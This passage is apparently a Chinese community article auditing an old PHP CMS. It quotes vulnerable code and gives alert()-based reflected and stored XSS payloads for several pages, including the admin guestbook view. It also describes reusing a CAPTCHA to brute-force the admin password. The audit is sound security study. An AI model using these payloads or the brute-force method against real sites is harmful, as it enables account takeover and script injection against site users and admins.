<?php echo $_GET[
直接输出的地方是xss常出现的地方：
有收获，一个个看：
##### /admin/cms_kamilist.php 反射型xss
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
?>
<?php include('inc_header.php') ?>
<!-- Start: Content -->
<div class="container-fluid content">
<div class="row">
<?php include('inc_left.php') ?>
。。。。
。。。。
。。。。
<a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
</div>
中间不重要，我们直接省略，看关键位置。 **$_GET['id']**
变量经过判断，若果存在，引入转义文件过滤预定义字符（但我们知道，该方法对xss的防御力几近于无）然后对变量直接输出，这就造成了一个简单的反射型xss
构造闭合payload,成功get一枚反射性xss
?id="><script>alert(/1/)</script>
同样的方法
##### **/wap/shang.php** **反射型xss**
同样的漏洞原理，这里就不赘述了，直接看效果
payload：
?fee=<script>alert(/wowoowo/)</script>
##### /wap/movie.php
##### /wap/tv.php
##### /wap/zongyi.php
##### /wap/dongman.php 反射型xss
这几个文件都有同样的xss漏洞，形成原理也一样，就拿其中一个进行分析。查看movie.php 里的内容。
#/wap/movie.php
<?php include('../system/inc.php');
include '../system/list.php';
$page=$_GET['page'];?>
<?php
$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
<a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a>
<a <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>
<a <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
发现了$_GET['page']和$_GET['m']变量，并引入转义文件进行转义防注入处理（sql）,看来有戏，找找输出：
<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
根进getpageHtml函数
文件在system/function.php，仔细查看发现它并没有对传参进行完整的过滤，因此也就造成了XSS漏洞，但还是没找到输出点，怎么办？
没办法，只好结合黑盒方法，访问页面，关键字查找输出点了：访问：
http://127.0.0.1//wap/movie.php?m=aaa
然后ctrl+F,查找（?m=aaa）,终于发现输出点：
<a style="background:#FF9900;"><font color="#fff">1</font></a></li><li><a href="movie.php?m=aaa&page=2">2</a></li><li><a href="movie.php?m=aaa&page=3">3</a>
构造闭合，打一打：
payload: ?m="><script>alert(/wowowo/)</script>
成功弹窗，反射型xss到手
##### /book.php 和/wap/book.php 存储型xss
查看文件，关键代码：
<?php include('../system/inc.php');
if(isset($_POST['submit'])){
null_back($_POST['userid'],'请输入姓名');
null_back($_POST['content'],'请输入内容');
$data['userid'] = $_POST['userid'];
$data['content'] =addslashes($_POST['content']);
$data['time'] =date('y-m-d h:i:s',time());
$str = arrtoinsert($data);
$sql = 'insert into xtcms_book ('.$str[0].') values ('.$str[1].')';
if(mysql_query($sql)){
alert_href('留言成功!小的马上为您准备相关资源！','book.php');
}
else{
alert_back('抱歉！服务器好像开小差了呢！');
}
}
?>
.....
.....
.....
<?php
$sqll = 'select * from xtcms_book order by id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sqll)));
$result = mysql_query($sqll.' limit '.$pager[0].','.$pager[1].'');
($row= mysql_fetch_array($result)){
?>
<div class="stui-pannel stui-pannel-bg clearfix"><div class="stui-pannel-box clearfix"><div class="col-pd clearfix"><ul><li class="topwords"><strong><u><?php echo $row['userid'] ?></u> 说：</strong></li><li class="top-line" style="margin-top: 10px; padding: 10px 0;"><?php echo $row['content'] ?><br/><font color=red></font>
</li></ul></div></div></div><hr><?php } ?>
<ul class="stui-page text-center"><div style='margin:50px auto;text-align:center'>
<?php echo page_show($pager[2],$pager[3],$pager[4],2);?>
对传入的$_POST['content']变量经过null_back()、addslashes()等方法进行处理，又引入转义文件转义处理，同样的情况我们在之前的
** _/youlian.php 存储型xss_** 部分已经提到过，即经过一系列处理，该变量实际上进行了一次我称之为“ **负负得正**
”的转义操作，相当于没有防范，又和后端数据库进行了交互，所以此处就形成了一个存储型xss,访问该文件，构造闭合，形成payload进行攻击尝试：
</li><script>alert(/wowo/)</script>
再想，这里是留言板，那么后台应该也会引用这里的留言内容，方便管理员进行管理，因此查找到后台对应文件：
##### /admin/cms_book.php 存储型xss
访问，果然弹窗。
具体代码：
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/book.php');
?>
<?php include('inc_header.php') ?>
。。。。
。。。。
。。。。
<?php
$sql = 'select * from xtcms_book order by id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
while($row= mysql_fetch_array($result)){
?>
<tr>
<td><div class="checkbox-custom checkbox-default">
<input type="checkbox" name="id[]" value="<?php echo $row['id'] ?>" /> <label for="checkboxExample2"></label>
</div></td>
<td><?php echo $row['content'] ?></td>
<td><?php echo $row['userid'] ?></td>
<td>
<?php echo $row['time'] ?>
<td><a class="btn btn-danger" href="cms_book_edit.php?id=<?php echo $row['id']?>">
<div class="page_show"><?php echo page_show($pager[2],$pager[3],$pager[4],2);?> </div>
<?php include('inc_footer.php') ?>
逻辑就是将之前存在数据库中的留言直接取出，引入对xss无用的转移文件处理，检查登录状态，之后直接将取出的数据输出，这就复合上面的分析，形成了一个存储型的前台后台通吃的xss漏洞。
##### /wx_api.php 反射性xss
public function valid()
{
$echoStr = $_GET["echostr"];
if($this->checkSignature()){
echo $echoStr;
exit;
}
接收$_GET["echostr"]变量，经checkSignature()方法处理后，直接输出,而checkSignature()方法
private function checkSignature()
{
// you must define TOKEN by yourself
if (!defined("TOKEN")) {
throw new Exception('TOKEN is not defined!');
}
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
// use SORT_STRING rule
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
其中并没有对变量的具体内容的过滤，因此这就是一个简单的反射型xss:
payload: 成功弹窗
?echostr=<script>alert(/wowowo/)</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
xss找了这么多，很多都是在重复造轮子（这个cms版本很老），没意思，找找别的漏洞看看：
#### 验证码重用
##### /admin/cms_login.php
<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}
null_back($_POST['a_name'],'请输入用户名');
null_back($_POST['a_password'],'请输入密码');
null_back($_POST['verifycode'],'请输入验证码');
$a_name = $_POST['a_name'];
$a_password = $_POST['a_password'];
$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
$result = mysql_query($sql);
if(!! $row = mysql_fetch_array($result)){
setcookie('admin_name',$row['m_name']);
setcookie('admin_password',$row['m_password']);
header('location:cms_welcome.php');
}else{
alert_href('用户名或密码错误','cms_login.php');
}
}
?>
在登陆界面检验session和传入的verifycode是否相等，如果访问失败，就会会进行刷新跳转，然后重新执行一次JS代码，
搜索关键词，看看这个js是干嘛的，在 **../system/verifycode.php** 文件中，发现
<?php
session_start();
$image = imagecreate(50, 34);
$bcolor = imagecolorallocate($image, 0, 0, 0);
$fcolor = imagecolorallocate($image, 255, 255, 255);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str));
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand_str, $fcolor);
header('content-type:image/png');
imagepng($image);
?>
js引用该文件生成四位随机数作为验证码，这里有一点就是： ** _burp默认不解析js_**
，而文件中也没有时间限制，那么我们就可以用burp抓包，摒除js，重用该验证码对后台密码进行爆破，实现一下：
添加爆破位置
我这里为了演示效果，因此字典里我就随便写几个密码，把正确密码放进去，进行爆破演示
可以看到，成功爆破出后台密码123456.
#### 上传漏洞
到这里，我能找到的关于这个cms的漏洞就结束了，另外，在网上看到师傅们还发现有一个上传漏洞，分析我就不献丑了，链接给出来，大家可以参考一下
[https://blog.csdn.net/qq_44713013/article/details/122187203?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.pc_relevant_default&spm=1001.2101.3001.4242.1&utm_relevant_index=2](https://blog.csdn.net/qq_44713013/article/details/122187203?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.pc_relevant_default&spm=1001.2101.3001.4242.1&utm_relevant_index=2)
#### 最后回顾
1. 这次这个cms代码审计，整体比第一次要熟悉了不少，审出了一些sql和存储xss漏洞，还是不错的。但是同时，也暴露了很多问题，比如php代码功底不够，对很多函数一知半解，甚至完全没有认识，这就导致不停的查查查，效率狂降，心态爆炸。
2. 另外，这次审计中还留下了两个问题有待研究，去好好学习一下，之后有机会一定还要再来回顾这个cms的审计，期待可以发现更多的问题。
3. 还有，有一点想法，程序员在写代码结构的时候一定要注意统观全局，否则就容易出现这个cms中“ **负负得正** ”逻辑错误，导致防护到最后白干一场。 | 社区文章 |
Subsets and Splits